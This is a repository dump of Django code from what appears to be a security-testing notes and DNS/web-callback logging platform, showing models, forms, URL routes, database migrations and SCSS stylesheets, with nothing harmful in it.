null=True, blank=True) 65 | path = models.FilePathField('原始文件位置', path=gen_email_path, match=r'.*\.eml', recursive=True) 66 | 67 | user = models.ForeignKey(settings.AUTH_USER_MODEL, verbose_name='用户', on_delete=models.CASCADE) 68 | 69 | send_time = models.DateTimeField('原始发送时间', default=now) 70 | created_time = models.DateTimeField('创建时间', auto_now_add=True) 71 | last_modify_time = models.DateTimeField('修改时间', auto_now=True) 72 | 73 | def __str__(self): 74 | return self.subject 75 | 76 | class Meta: 77 | ordering = ['-created_time'] 78 | verbose_name = '邮件' 79 | verbose_name_plural = verbose_name 80 | 81 | def get_absolute_url(self): 82 | return resolve_url('email:detail', pk=self.pk) 83 | 84 | def get_origin_file(self): 85 | return resolve_url('email:download', pk=self.pk) 86 | 87 | def get_path(self) -> Path: 88 | return Path(settings.MEDIA_ROOT) / self.path 89 | 90 | 91 | @receiver(post_delete, sender=Envelope) 92 | def auto_delete_mail_files(sender, instance, using, **kwargs): 93 | try: 94 | if instance.path: 95 | path = instance.get_path() 96 | if path.exists(): 97 | path.unlink() 98 | except Exception as e: 99 | pass 100 | -------------------------------------------------------------------------------- /app/disposable_email/templatetags/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/disposable_email/templatetags/__init__.py -------------------------------------------------------------------------------- /app/disposable_email/templatetags/email_helper.py: -------------------------------------------------------------------------------- 1 | import re 2 | 3 | from django import template 4 | from django.conf import settings 5 | from django.utils.html import conditional_escape, strip_tags 6 | from django.utils.safestring import mark_safe 7 | from flanker.addresslib.address import EmailAddress 8 | 9 | 10 | register = template.Library() 11 | 12 | 13 | @register.filter 14 | def display_email(email: EmailAddress): 15 | if email.display_name: 16 | return '{email.display_name} <{email.address}>'.format(email=email) 17 | else: 18 | return email.address 19 | -------------------------------------------------------------------------------- /app/disposable_email/tests.py: -------------------------------------------------------------------------------- 1 | from django.test import TestCase 2 | 3 | 4 | -------------------------------------------------------------------------------- /app/disposable_email/urls.py: -------------------------------------------------------------------------------- 1 | from django.urls import path, re_path 2 | 3 | from . import views 4 | 5 | 6 | app_name = 'disposable_email' 7 | urlpatterns = [ 8 | path('', views.EmailList.as_view(), name='list'), 9 | path('/', views.EmailDetail.as_view(), name='detail'), 10 | path('/download/', views.EmailDownload.as_view(), name='download'), 11 | path('/delete/', views.EmailDelete.as_view(), name='delete'), 12 | path('flush/', views.EmailFlush.as_view(), name='flush'), 13 | path('/box/delete/', views.BoxDelete.as_view(), name='box-delete'), 14 | path('generate/', views.EmailGenerate.as_view(), name='generate'), 15 | ] 16 | -------------------------------------------------------------------------------- /app/log/__init__.py: -------------------------------------------------------------------------------- 1 | default_app_config = 'app.log.apps.LogConfig' 2 | -------------------------------------------------------------------------------- /app/log/admin.py: -------------------------------------------------------------------------------- 1 | from django.contrib import admin 2 | from django.contrib.auth.admin import UserAdmin 3 | from django.utils.translation import gettext, gettext_lazy as _ 4 | 5 | from . import models 6 | 7 | 8 | class DNSLogAdmin(admin.ModelAdmin): 9 | list_display = ('hostname', 'dns_type', 'user') 10 | 11 | 12 | class WebLogAdmin(admin.ModelAdmin): 13 | list_display = ('path', 'ip_addr', 'user') 14 | 15 | 16 | class NoteAdmin(admin.ModelAdmin): 17 | list_display = ('filename', 'content_type', 'user') 18 | 19 | 20 | admin.site.register(models.DNSLog, DNSLogAdmin) 21 | admin.site.register(models.WebLog, WebLogAdmin) 22 | admin.site.register(models.Note, NoteAdmin) 23 | 24 | 25 | @admin.register(models.ShortDomain, site=admin.site) 26 | class ShortDomainAdmin(admin.ModelAdmin): 27 | list_display = ('target', 'user', 'reserve_params', 'click') 28 | readonly_fields = ('click', 'created_time', 'last_modify_time') 29 | search_fields = ('target', 'user') 30 | fieldsets = ( 31 | (None, { 32 | 'fields': ('target', 'user', 'reserve_params') 33 | }), 34 | ('信息', { 35 | 'classes': ('wide',), 36 | 'fields': readonly_fields 37 | }), 38 | ) 39 | -------------------------------------------------------------------------------- /app/log/apps.py: -------------------------------------------------------------------------------- 1 | from django.apps import AppConfig 2 | 3 | 4 | class LogConfig(AppConfig): 5 | name = 'app.log' 6 | label = 'log' 7 | verbose_name = '记录模块' 8 | -------------------------------------------------------------------------------- /app/log/forms.py: -------------------------------------------------------------------------------- 1 | import copy 2 | 3 | from django import forms 4 | from django.core import exceptions 5 | from django.forms import formset_factory 6 | 7 | from . import models 8 | from conote.field import MyCheckboxInput, MyClearableFileInput, HeadersField 9 | from conote.const import CODE_LANGUAGE 10 | 11 | 12 | PLACE_HEADERS = '''X-XSS-Protection: 0 13 | Access-Control-Allow-Origin: * 14 | Content-Security-Policy: default-src 'self' 15 | X-Frame-Options: ALLOW-FROM https://example.com/ 16 | X-Content-Type-Options: nosniff; 17 | ''' 18 | 19 | 20 | class NoteForm(forms.ModelForm): 21 | title = forms.CharField(label='标题', required=True) 22 | attachment = forms.FileField(label='文件', 23 | help_text='需要显示的文件', 24 | required=True, 25 | widget=MyClearableFileInput( 26 | attrs={'style': 'position: absolute; clip: rect(0px 0px 0px 0px);', 27 | 'id': 'fileinput', 'class': 'form-control filestyle'}) 28 | ) 29 | language = forms.ChoiceField(label='语言', required=True, choices=CODE_LANGUAGE) 30 | content = forms.CharField(label='内容', widget=forms.Textarea(attrs={'rows': 10}), strip=False, required=False) 31 | content_type = forms.CharField(label='Content Type', required=True, 32 | help_text='更多类型请阅读文档') 33 | headers = HeadersField( 34 | label='HTTP头', 35 | help_text='输出内容的时候同时输出的HTTP头', 36 | widget=forms.Textarea(attrs={'rows': 5, 'placeholder': PLACE_HEADERS}), 37 | required=False 38 | ) 39 | 40 | class Meta: 41 | model = models.Note 42 | fields = [ 43 | 'filename', 44 | 'title', 45 | 'content_type', 46 | 'attachment', 47 | 'language', 48 | 'content', 49 | 'headers' 50 | ] 51 | 52 | def __init__(self, *args, **kwargs): 53 | self.user = kwargs.pop('user') 54 | fields = kwargs.pop('init_fields', []) 55 | super().__init__(*args, **kwargs) 56 | temp_fields = copy.deepcopy(self.fields) 57 | for field, _ in temp_fields.items(): 58 | if field not in fields: 59 | self.fields.pop(field) 60 | 61 | def clean_filename(self): 62 | if self.cleaned_data['filename'] != self.instance.filename and self.user.note_set.filter(filename=self.cleaned_data['filename']).exists(): 63 | raise exceptions.ValidationError('文件名已存在') 64 | 65 | return self.cleaned_data['filename'] 66 | 67 | 68 | class ShortDomainForm(forms.ModelForm): 69 | target = forms.URLField(label='目标网址') 70 | 71 | class Meta: 72 | model = models.ShortDomain 73 | fields = [ 74 | 'target', 75 | 'reserve_params' 76 | ] 77 | -------------------------------------------------------------------------------- /app/log/migrations/0001_initial.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Generated by Django 1.11.4 on 2017-08-27 17:16 3 | from __future__ import unicode_literals 4 | 5 | from django.conf import settings 6 | from django.db import migrations, models 7 | import django.db.models.deletion 8 | 9 | 10 | class Migration(migrations.Migration): 11 | 12 | initial = True 13 | 14 | dependencies = [ 15 | migrations.swappable_dependency(settings.AUTH_USER_MODEL), 16 | ] 17 | 18 | operations = [ 19 | migrations.CreateModel( 20 | name='DNSLog', 21 | fields=[ 22 | ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), 23 | ('host', models.TextField(verbose_name='Host')), 24 | ('type', models.TextField(verbose_name='Dns类型')), 25 | ('created_time', models.DateTimeField(auto_now_add=True, verbose_name='创建时间')), 26 | ('last_modify_time', models.DateTimeField(auto_now=True, verbose_name='修改时间')), 27 | ('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL, verbose_name='用户')), 28 | ], 29 | options={ 30 | 'verbose_name_plural': 'DNS日志', 31 | 'ordering': ['-created_time'], 32 | 'verbose_name': 'DNS日志', 33 | }, 34 | ), 35 | migrations.CreateModel( 36 | name='WebLog', 37 | fields=[ 38 | ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), 39 | ('path', models.TextField(verbose_name='Path')), 40 | ('ip_addr', models.GenericIPAddressField(verbose_name='IP地址')), 41 | ('user_agent', models.TextField(verbose_name='user_agent')), 42 | ('referrer', models.TextField(verbose_name='来源网址')), 43 | ('raw', models.TextField(verbose_name='原始记录')), 44 | ('created_time', models.DateTimeField(auto_now_add=True, verbose_name='创建时间')), 45 | ('last_modify_time', models.DateTimeField(auto_now=True, verbose_name='修改时间')), 46 | ('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL, verbose_name='用户')), 47 | ], 48 | options={ 49 | 'verbose_name_plural': 'Web日志', 50 | 'ordering': ['-created_time'], 51 | 'verbose_name': 'Web日志', 52 | }, 53 | ), 54 | ] 55 | -------------------------------------------------------------------------------- /app/log/migrations/0002_auto_20170828_0136.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Generated by Django 1.11.4 on 2017-08-27 17:36 3 | from __future__ import unicode_literals 4 | 5 | from django.db import migrations, models 6 | 7 | 8 | class Migration(migrations.Migration): 9 | 10 | dependencies = [ 11 | ('log', '0001_initial'), 12 | ] 13 | 14 | operations = [ 15 | migrations.AlterField( 16 | model_name='weblog', 17 | name='raw', 18 | field=models.TextField(blank=True, null=True, verbose_name='原始记录'), 19 | ), 20 | migrations.AlterField( 21 | model_name='weblog', 22 | name='referrer', 23 | field=models.TextField(blank=True, null=True, verbose_name='来源网址'), 24 | ), 25 | ] 26 | -------------------------------------------------------------------------------- /app/log/migrations/0003_auto_20170828_0139.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Generated by Django 1.11.4 on 2017-08-27 17:39 3 | from __future__ import unicode_literals 4 | 5 | from django.db import migrations, models 6 | 7 | 8 | class Migration(migrations.Migration): 9 | 10 | dependencies = [ 11 | ('log', '0002_auto_20170828_0136'), 12 | ] 13 | 14 | operations = [ 15 | migrations.AlterField( 16 | model_name='weblog', 17 | name='user_agent', 18 | field=models.TextField(blank=True, null=True, verbose_name='User Agent'), 19 | ), 20 | ] 21 | -------------------------------------------------------------------------------- /app/log/migrations/0004_note.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Generated by Django 1.11.4 on 2017-08-29 19:25 3 | from __future__ import unicode_literals 4 | 5 | import app.log.models 6 | from django.conf import settings 7 | from django.db import migrations, models 8 | import django.db.models.deletion 9 | 10 | 11 | class Migration(migrations.Migration): 12 | 13 | dependencies = [ 14 | migrations.swappable_dependency(settings.AUTH_USER_MODEL), 15 | ('log', '0003_auto_20170828_0139'), 16 | ] 17 | 18 | operations = [ 19 | migrations.CreateModel( 20 | name='Note', 21 | fields=[ 22 | ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), 23 | ('filename', models.CharField(max_length=256, verbose_name='文件名')), 24 | ('attachment', models.FileField(blank=True, null=True, upload_to=app.log.models.generate_attachment_filename, verbose_name='附件')), 25 | ('content_type', models.CharField(default='application/octet-stream', max_length=128, verbose_name='Content Type')), 26 | ('content', models.TextField(blank=True, null=True, verbose_name='文件内容')), 27 | ('created_time', models.DateTimeField(auto_now_add=True, verbose_name='创建时间')), 28 | ('last_modify_time', models.DateTimeField(auto_now=True, verbose_name='修改时间')), 29 | ('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL, verbose_name='用户')), 30 | ], 31 | options={ 32 | 'verbose_name_plural': '笔记', 33 | 'verbose_name': '笔记', 34 | 'ordering': ['-created_time'], 35 | }, 36 | ), 37 | ] 38 | -------------------------------------------------------------------------------- /app/log/migrations/0005_note_is_markdown.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Generated by Django 1.11.4 on 2017-08-29 19:38 3 | from __future__ import unicode_literals 4 | 5 | from django.db import migrations, models 6 | 7 | 8 | class Migration(migrations.Migration): 9 | 10 | dependencies = [ 11 | ('log', '0004_note'), 12 | ] 13 | 14 | operations = [ 15 | migrations.AddField( 16 | model_name='note', 17 | name='is_markdown', 18 | field=models.BooleanField(default=False, verbose_name='Markdown'), 19 | ), 20 | ] 21 | -------------------------------------------------------------------------------- /app/log/migrations/0006_auto_20170830_2320.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Generated by Django 1.11.4 on 2017-08-30 15:20 3 | from __future__ import unicode_literals 4 | 5 | import app.log.models 6 | from django.db import migrations 7 | import jsonfield.fields 8 | 9 | 10 | class Migration(migrations.Migration): 11 | 12 | dependencies = [ 13 | ('log', '0005_note_is_markdown'), 14 | ] 15 | 16 | operations = [ 17 | migrations.RemoveField( 18 | model_name='weblog', 19 | name='referrer', 20 | ), 21 | migrations.RemoveField( 22 | model_name='weblog', 23 | name='user_agent', 24 | ), 25 | migrations.AddField( 26 | model_name='weblog', 27 | name='headers', 28 | field=jsonfield.fields.JSONField(default=app.log.models.return_object, verbose_name='HTTP头'), 29 | ), 30 | ] 31 | -------------------------------------------------------------------------------- /app/log/migrations/0007_weblog_hostname.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Generated by Django 1.11.4 on 2017-08-31 09:13 3 | from __future__ import unicode_literals 4 | 5 | from django.db import migrations, models 6 | 7 | 8 | class Migration(migrations.Migration): 9 | 10 | dependencies = [ 11 | ('log', '0006_auto_20170830_2320'), 12 | ] 13 | 14 | operations = [ 15 | migrations.AddField( 16 | model_name='weblog', 17 | name='hostname', 18 | field=models.TextField(default='mhz.pw:8000', verbose_name='Host'), 19 | ), 20 | ] 21 | -------------------------------------------------------------------------------- /app/log/migrations/0008_auto_20170831_1830.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Generated by Django 1.11.4 on 2017-08-31 10:30 3 | from __future__ import unicode_literals 4 | 5 | from django.db import migrations, models 6 | 7 | 8 | class Migration(migrations.Migration): 9 | 10 | dependencies = [ 11 | ('log', '0007_weblog_hostname'), 12 | ] 13 | 14 | operations = [ 15 | migrations.RemoveField( 16 | model_name='weblog', 17 | name='raw', 18 | ), 19 | migrations.AddField( 20 | model_name='weblog', 21 | name='body', 22 | field=models.BinaryField(blank=True, null=True, verbose_name='原始记录'), 23 | ), 24 | ] 25 | -------------------------------------------------------------------------------- /app/log/migrations/0009_note_title.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Generated by Django 1.11.4 on 2017-09-01 19:44 3 | from __future__ import unicode_literals 4 | 5 | from django.db import migrations, models 6 | 7 | 8 | class Migration(migrations.Migration): 9 | 10 | dependencies = [ 11 | ('log', '0008_auto_20170831_1830'), 12 | ] 13 | 14 | operations = [ 15 | migrations.AddField( 16 | model_name='note', 17 | name='title', 18 | field=models.CharField(blank=True, max_length=256, null=True, verbose_name='标题'), 19 | ), 20 | ] 21 | -------------------------------------------------------------------------------- /app/log/migrations/0010_note_language.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Generated by Django 1.11.4 on 2017-09-02 23:34 3 | from __future__ import unicode_literals 4 | 5 | from django.db import migrations, models 6 | 7 | 8 | class Migration(migrations.Migration): 9 | 10 | dependencies = [ 11 | ('log', '0009_note_title'), 12 | ] 13 | 14 | operations = [ 15 | migrations.AddField( 16 | model_name='note', 17 | name='language', 18 | field=models.CharField(blank=True, choices=[('clike', 'C/C++/C#'), ('go', 'GO'), ('html', 'htmlembedded'), ('http', 'HTTP'), ('javascript', 'Javascript'), ('lua', 'Lua'), ('nginx', 'Nginx'), ('perl', 'Perl'), ('php', 'PHP'), ('powershell', 'PowerShell'), ('python', 'Python'), ('ruby', 'Ruby'), ('rust', 'Rust'), ('shell', 'shell'), ('sql', 'SQL'), ('swift', 'Swift'), ('vbscript', 'VBScript'), ('vue', 'Vue'), ('xml', 'XML'), ('yaml', 'YAML')], max_length=32, null=True, verbose_name='代码语言'), 19 | ), 20 | ] 21 | -------------------------------------------------------------------------------- /app/log/migrations/0011_weblog_method.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Generated by Django 1.11.4 on 2017-09-03 12:08 3 | from __future__ import unicode_literals 4 | 5 | from django.db import migrations, models 6 | 7 | 8 | class Migration(migrations.Migration): 9 | 10 | dependencies = [ 11 | ('log', '0010_note_language'), 12 | ] 13 | 14 | operations = [ 15 | migrations.AddField( 16 | model_name='weblog', 17 | name='method', 18 | field=models.TextField(default='GET', verbose_name='方法'), 19 | ), 20 | ] 21 | -------------------------------------------------------------------------------- /app/log/migrations/0012_shortdomain.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Generated by Django 1.11.4 on 2017-09-03 19:25 3 | from __future__ import unicode_literals 4 | 5 | from django.conf import settings 6 | from django.db import migrations, models 7 | import django.db.models.deletion 8 | 9 | 10 | class Migration(migrations.Migration): 11 | 12 | dependencies = [ 13 | migrations.swappable_dependency(settings.AUTH_USER_MODEL), 14 | ('log', '0011_weblog_method'), 15 | ] 16 | 17 | operations = [ 18 | migrations.CreateModel( 19 | name='ShortDomain', 20 | fields=[ 21 | ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), 22 | ('target', models.TextField(verbose_name='原始链接')), 23 | ('click', models.PositiveIntegerField(default=0, verbose_name='点击数')), 24 | ('reserve_params', models.BooleanField(default=False, verbose_name='保留参数')), 25 | ('created_time', models.DateTimeField(auto_now_add=True, verbose_name='创建时间')), 26 | ('last_modify_time', models.DateTimeField(auto_now=True, verbose_name='修改时间')), 27 | ('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL, verbose_name='用户')), 28 | ], 29 | options={ 30 | 'verbose_name_plural': '短域名', 31 | 'verbose_name': '短域名', 32 | 'ordering': ['-created_time'], 33 | }, 34 | ), 35 | ] 36 | -------------------------------------------------------------------------------- /app/log/migrations/0013_auto_20170904_1406.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Generated by Django 1.11.4 on 2017-09-04 06:06 3 | from __future__ import unicode_literals 4 | 5 | from django.db import migrations, models 6 | 7 | 8 | class Migration(migrations.Migration): 9 | 10 | dependencies = [ 11 | ('log', '0012_shortdomain'), 12 | ] 13 | 14 | operations = [ 15 | migrations.AlterField( 16 | model_name='weblog', 17 | name='hostname', 18 | field=models.TextField(default='', verbose_name='Host'), 19 | ), 20 | ] 21 | -------------------------------------------------------------------------------- /app/log/migrations/0014_auto_20170906_0437.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Generated by Django 1.11.4 on 2017-09-05 20:37 3 | from __future__ import unicode_literals 4 | 5 | from django.db import migrations 6 | 7 | 8 | class Migration(migrations.Migration): 9 | 10 | dependencies = [ 11 | ('log', '0013_auto_20170904_1406'), 12 | ] 13 | 14 | operations = [ 15 | migrations.RenameField( 16 | model_name='dnslog', 17 | old_name='host', 18 | new_name='hostname', 19 | ), 20 | ] 21 | -------------------------------------------------------------------------------- /app/log/migrations/0015_auto_20170906_0508.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Generated by Django 1.11.4 on 2017-09-05 21:08 3 | from __future__ import unicode_literals 4 | 5 | from django.db import migrations 6 | 7 | 8 | class Migration(migrations.Migration): 9 | 10 | dependencies = [ 11 | ('log', '0014_auto_20170906_0437'), 12 | ] 13 | 14 | operations = [ 15 | migrations.RenameField( 16 | model_name='dnslog', 17 | old_name='type', 18 | new_name='dns_type', 19 | ), 20 | ] 21 | -------------------------------------------------------------------------------- /app/log/migrations/0016_auto_20170906_0518.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Generated by Django 1.11.4 on 2017-09-05 21:18 3 | from __future__ import unicode_literals 4 | 5 | from django.db import migrations, models 6 | 7 | 8 | class Migration(migrations.Migration): 9 | 10 | dependencies = [ 11 | ('log', '0015_auto_20170906_0508'), 12 | ] 13 | 14 | operations = [ 15 | migrations.AlterField( 16 | model_name='note', 17 | name='language', 18 | field=models.CharField(blank=True, choices=[('clike', 'C/C++/C#'), ('go', 'GO'), ('html', 'htmlembedded'), ('http', 'HTTP'), ('java', 'Java'), ('javascript', 'Javascript'), ('lua', 'Lua'), ('nginx', 'Nginx'), ('perl', 'Perl'), ('php', 'PHP'), ('powershell', 'PowerShell'), ('python', 'Python'), ('ruby', 'Ruby'), ('rust', 'Rust'), ('shell', 'shell'), ('sql', 'SQL'), ('swift', 'Swift'), ('vbscript', 'VBScript'), ('vue', 'Vue'), ('xml', 'XML'), ('yaml', 'YAML')], max_length=32, null=True, verbose_name='代码语言'), 19 | ), 20 | ] 21 | -------------------------------------------------------------------------------- /app/log/migrations/0017_dnsrecord.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Generated by Django 1.11.4 on 2017-09-11 14:54 3 | from __future__ import unicode_literals 4 | 5 | import app.log.models 6 | from django.conf import settings 7 | from django.db import migrations, models 8 | import django.db.models.deletion 9 | import jsonfield.fields 10 | 11 | 12 | class Migration(migrations.Migration): 13 | 14 | dependencies = [ 15 | migrations.swappable_dependency(settings.AUTH_USER_MODEL), 16 | ('log', '0016_auto_20170906_0518'), 17 | ] 18 | 19 | operations = [ 20 | migrations.CreateModel( 21 | name='DNSRecord', 22 | fields=[ 23 | ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), 24 | ('ips', jsonfield.fields.JSONField(default=app.log.models.return_list, verbose_name='目标IP')), 25 | ('click', models.PositiveIntegerField(default=0, verbose_name='访问次数')), 26 | ('last_visited', models.DateTimeField(verbose_name='上次访问时间')), 27 | ('created_time', models.DateTimeField(auto_now_add=True, verbose_name='创建时间')), 28 | ('last_modify_time', models.DateTimeField(auto_now=True, verbose_name='修改时间')), 29 | ('user', models.OneToOneField(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL, verbose_name='用户')), 30 | ], 31 | options={ 32 | 'verbose_name_plural': 'DNS记录', 33 | 'ordering': ['-created_time'], 34 | 'verbose_name': 'DNS记录', 35 | }, 36 | ), 37 | ] 38 | -------------------------------------------------------------------------------- /app/log/migrations/0018_note_headers.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Generated by Django 1.11.4 on 2018-01-27 10:41 3 | from __future__ import unicode_literals 4 | 5 | import app.log.models 6 | from django.db import migrations 7 | import jsonfield.fields 8 | 9 | 10 | class Migration(migrations.Migration): 11 | 12 | dependencies = [ 13 | ('log', '0017_dnsrecord'), 14 | ] 15 | 16 | operations = [ 17 | migrations.AddField( 18 | model_name='note', 19 | name='headers', 20 | field=jsonfield.fields.JSONField(default=app.log.models.return_list, verbose_name='HTTP头'), 21 | ), 22 | ] 23 | -------------------------------------------------------------------------------- /app/log/migrations/0019_dnslog_ip_addr.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Generated by Django 1.11.4 on 2018-01-27 18:47 3 | from __future__ import unicode_literals 4 | 5 | from django.db import migrations, models 6 | 7 | 8 | class Migration(migrations.Migration): 9 | 10 | dependencies = [ 11 | ('log', '0018_note_headers'), 12 | ] 13 | 14 | operations = [ 15 | migrations.AddField( 16 | model_name='dnslog', 17 | name='ip_addr', 18 | field=models.GenericIPAddressField(default='127.0.0.1', verbose_name='IP地址'), 19 | ), 20 | ] 21 | -------------------------------------------------------------------------------- /app/log/migrations/0020_auto_20180403_2031.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Generated by Django 1.11.10 on 2018-04-03 12:31 3 | from __future__ import unicode_literals 4 | 5 | from django.db import migrations, models 6 | 7 | 8 | class Migration(migrations.Migration): 9 | 10 | dependencies = [ 11 | ('log', '0019_dnslog_ip_addr'), 12 | ] 13 | 14 | operations = [ 15 | migrations.AlterField( 16 | model_name='note', 17 | name='language', 18 | field=models.CharField(blank=True, choices=[('clike', 'C/C++/C#'), ('go', 'GO'), ('htmlembedded', 'HTML'), ('http', 'HTTP'), ('java', 'Java'), ('javascript', 'Javascript'), ('lua', 'Lua'), ('nginx', 'Nginx'), ('perl', 'Perl'), ('php', 'PHP'), ('powershell', 'PowerShell'), ('python', 'Python'), ('ruby', 'Ruby'), ('rust', 'Rust'), ('shell', 'shell'), ('sql', 'SQL'), ('swift', 'Swift'), ('vbscript', 'VBScript'), ('vue', 'Vue'), ('xml', 'XML'), ('yaml', 'YAML'), ('css', 'CSS')], max_length=32, null=True, verbose_name='代码语言'), 19 | ), 20 | ] 21 | -------------------------------------------------------------------------------- /app/log/migrations/0021_note_category.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 2.1.1 on 2018-09-17 16:48 2 | 3 | from django.db import migrations, models 4 | 5 | 6 | def nop(*args, **kwargs): 7 | pass 8 | 9 | 10 | def set_category(apps, schema_editor): 11 | Note = apps.get_model('log', 'Note') 12 | for note in Note.objects.all(): 13 | if note.is_markdown: 14 | note.category = 'article' 15 | elif note.attachment: 16 | note.category = 'file' 17 | elif note.language: 18 | note.category = 'code' 19 | else: 20 | note.category = 'text' 21 | 22 | note.save() 23 | 24 | 25 | class Migration(migrations.Migration): 26 | 27 | dependencies = [ 28 | ('log', '0020_auto_20180403_2031'), 29 | ] 30 | 31 | operations = [ 32 | migrations.AddField( 33 | model_name='note', 34 | name='category', 35 | field=models.CharField(choices=[('text', '纯文本'), ('file', '文件'), ('article', '文章'), ('code', '代码')], default='text', max_length=16, verbose_name='类型'), 36 | ), 37 | migrations.RunPython(set_category, nop), 38 | ] 39 | -------------------------------------------------------------------------------- /app/log/migrations/0022_remove_note_is_markdown.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 2.1.1 on 2018-09-19 18:55 2 | 3 | from django.db import migrations 4 | 5 | 6 | class Migration(migrations.Migration): 7 | 8 | dependencies = [ 9 | ('log', '0021_note_category'), 10 | ] 11 | 12 | operations = [ 13 | migrations.RemoveField( 14 | model_name='note', 15 | name='is_markdown', 16 | ), 17 | ] 18 | -------------------------------------------------------------------------------- /app/log/migrations/0023_auto_20210529_2326.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 3.2.3 on 2021-05-29 15:26 2 | 3 | import app.log.models 4 | from django.db import migrations, models 5 | 6 | 7 | class Migration(migrations.Migration): 8 | 9 | dependencies = [ 10 | ('log', '0022_remove_note_is_markdown'), 11 | ] 12 | 13 | operations = [ 14 | migrations.AlterField( 15 | model_name='dnsrecord', 16 | name='ips', 17 | field=models.JSONField(default=app.log.models.return_list, verbose_name='目标IP'), 18 | ), 19 | migrations.AlterField( 20 | model_name='note', 21 | name='headers', 22 | field=models.JSONField(default=app.log.models.return_list, verbose_name='HTTP头'), 23 | ), 24 | migrations.AlterField( 25 | model_name='weblog', 26 | name='headers', 27 | field=models.JSONField(default=app.log.models.return_object, verbose_name='HTTP头'), 28 | ), 29 | ] 30 | -------------------------------------------------------------------------------- /app/log/migrations/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/log/migrations/__init__.py -------------------------------------------------------------------------------- /app/log/static/article/_partial/archive-post-list.scss: -------------------------------------------------------------------------------- 1 | .archive { 2 | max-width: 600px; 3 | margin: 5em auto; 4 | .post-item { 5 | padding: 2px 0 0 50px; 6 | } 7 | .post-time, 8 | .post-title-link { 9 | font-size: 1rem; 10 | } 11 | .post-title-link { 12 | display: block; 13 | margin-left: 125px; 14 | color: #42b983; 15 | word-break: break-all; 16 | &:hover { 17 | border-bottom: 0; 18 | color: #267B54; 19 | } 20 | } 21 | .post-info { 22 | float: left; 23 | width: 125px; 24 | color: #7f8c8d; 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /app/log/static/article/_partial/base.scss: -------------------------------------------------------------------------------- 1 | ::selection { 2 | color: #FFFFFF; 3 | background-color: #42b983; 4 | } 5 | 6 | html, body { 7 | width: 100%; 8 | height: 100%; 9 | } 10 | 11 | body { 12 | margin: 0; 13 | color: #34495e; 14 | font-size: 15px; 15 | line-height: 1.4; 16 | background-color: #fff; 17 | font-family: 'sourcesanspro', 'Helvetica Neue', Arial, sans-serif; 18 | } 19 | 20 | ul.nav, 21 | ul.post-list { 22 | margin: 0; 23 | padding: 0; 24 | list-style-type: none; 25 | } 26 | 27 | .tag-title { 28 | font-size: 1em; 29 | color: #42b983; 30 | padding-left: 10px; 31 | } 32 | 33 | ul { 34 | margin: 1rem 0; 35 | } 36 | 37 | a, a:active { 38 | color: #2c3e50; 39 | text-decoration: none; 40 | } 41 | 42 | a.nav-list-link.active, 43 | a.nav-list-link:hover, 44 | a.post-title-link:hover { 45 | border-bottom: 2px solid #42b983; 46 | } 47 | 48 | hr { 49 | border: 0; 50 | } 51 | 52 | code { 53 | margin: 0 2px; 54 | padding: 3px 5px; 55 | color: #e96900; 56 | border-radius: 2px; 57 | white-space: inherit; 58 | } 59 | 60 | iframe, video { 61 | max-width: 100%; 62 | margin: 1rem auto; 63 | display: block; 64 | } 65 | 66 | table { 67 | width: 100%; 68 | margin: 1em auto; 69 | thead { 70 | background-color: #ddd; 71 | th { 72 | padding: 5px; 73 | min-width: 20px; 74 | } 75 | } 76 | tbody { 77 | tr:nth-child(2n) { 78 | background-color: #eee; 79 | } 80 | td { 81 | padding: 5px; 82 | vertical-align: text-top; 83 | } 84 | } 85 | } 86 | -------------------------------------------------------------------------------- /app/log/static/article/_partial/code.scss: -------------------------------------------------------------------------------- 1 | pre { 2 | overflow: hidden; 3 | } 4 | 5 | code, pre { 6 | white-space: pre-wrap; 7 | word-wrap: break-word; 8 | word-break: bread-all; 9 | padding: 0.5em; 10 | margin: 0; 11 | 12 | 